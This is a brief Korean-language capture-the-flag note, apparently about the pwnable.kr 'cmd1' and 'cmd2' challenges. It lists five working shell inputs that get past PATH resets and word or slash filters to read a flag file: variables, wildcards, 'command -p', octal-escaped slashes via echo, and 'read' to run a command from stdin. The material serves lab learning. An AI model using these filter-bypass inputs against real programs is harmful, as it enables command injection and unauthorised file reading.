일단 환경변수가 putenv로 하나만 되어있어서
나머지 커맨드들 안먹힘
푸는 방법 좀 다양함
1. (정석) 환경변수 이용
export x=/home/cmd1/flag
./cmd1 "/bin/cat \$x"
2. 와일드카드
./cmd1 "/bin/cat fla*"
3. (cmd2 문제도 이렇게) command 명령어
./cmd1 "command -p cat fla*"
command -p 명령어 자체가 allows us to supply a default value of PATH ㅇㅇ 대박
"/" 막는 cmd2 문제에서 해결 가능
4. echo로 / ㅍ
./cmd2 '$(echo "\57")bin$(echo "\057")cat fla*'
5. read 명령어
read는 표준 입력(파이프라인 입력 또는 키보드 입력)에서 한 줄의 내용씩 읽어 들이는 명령어
./cmd2 "read a; \$a"